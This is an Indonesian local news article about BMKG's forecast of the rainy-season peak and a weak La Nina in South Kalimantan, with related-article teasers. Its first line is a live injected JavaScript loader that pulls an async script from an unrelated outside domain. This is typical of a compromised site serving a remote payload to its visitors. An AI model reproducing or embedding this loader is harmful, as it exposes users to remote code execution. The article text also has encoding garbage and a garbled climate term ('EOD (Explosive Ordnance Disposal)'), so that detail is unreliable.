(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wilayah Provinsi Kalimantan Selatan mulai memasuki puncak musim hujan yang harus diwaspadai.
Berdasarkan update kondisi prakiraan musim Badan Meteorologi, Klimatologi dan Geofisika (BMKG) Kalimantan Selatan (Kalsel) saat ini sebagian besar di Kalsel sudah memasuki kategori musim hujan.
Ditandai dengan peningkatan intensitas hujan yang terjadi di seluruh wilayah Kalimantan Selatan.
“Harus kita pahami kalau ketika memasuki puncak musim, hujannya cenderung lebih panjang dan lama karena lapisan awannya lebih banyak,†ujar Forecaster Iklim Stasiun Klimatologi Kalsel, Khairullah, Selasa (10/12/2024).
Baca juga:Â Catatan Korupsi 2024 Kalsel: Uang Negara Terselamatkan Rp18 Milliar dari 31 Kasus
BMKG dalam rilis menyampaikan bahwa puncak musim hujan di bagian barat Kalsel terjadi pada bulan Desember 2024 sampai dengan Januari tahun 2025.
Kemudian, puncak musim hujan di bagian Timur pada umumnya berbeda, yaitu pada bulan April sampai dengan Mei 2025.
“Yang kami maksud di bagian Timur ini antara lain sebagian Kotabaru di bagian pesisir, sebagian Tanah Bumbu dan sebagian sedikit daripada Tanah Laut, itu yang berbeda,†jelas dia.
“Sedangkan rata-rata hampir semua di Kalsel itu puncaknya pada sekitar Desember sampai pada Januari 2025 nanti,†sambungnya.
Baca juga:Â Tujuh PKBM di Banjarbaru Atasi Persoalan Anak Tidak Sekolah
Tak hanya masuk ke musim hujan, sekarang wilayah Kalsel kemungkinan akan memasuki fenomena La Nina lemah.
Namun, EOD (Explosive Ordnance Disposal) sementara dalam keadaan lemah, tapi nanti selanjutnya akan menuju ke keadaan yang normal.
“Dari mana kami mengetahuinya, itu karena dari kondisi di Samudra Hindia, yang menunjukan adanya kejadian La Nina lemah,†ungkap dia.
Dengan kondisi ini, pemerintah daerah serta seluruh komponen, dan masyarakat diimbau harus mengantisipasi kemungkinan akan adanya terjadi potensi bencana hidrometeorologi di wilayah masing-masing seperti banjir dan tanah longsor, terutama di daerah rawan.
Baca juga:Â Kejari Banjarmasin Musnahkan Barbuk 211 Perkara InkrahÂ
“Pemerintah dan masyarakat harus mengetahui risiko daerah-daerah mana yang berpotensi lebih rawan atau mudah terjadinya bencana hidrometeorologi tersebut,†tuntasnya. (Kanalkalimantan.com/wanda)
Reporter:Â wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.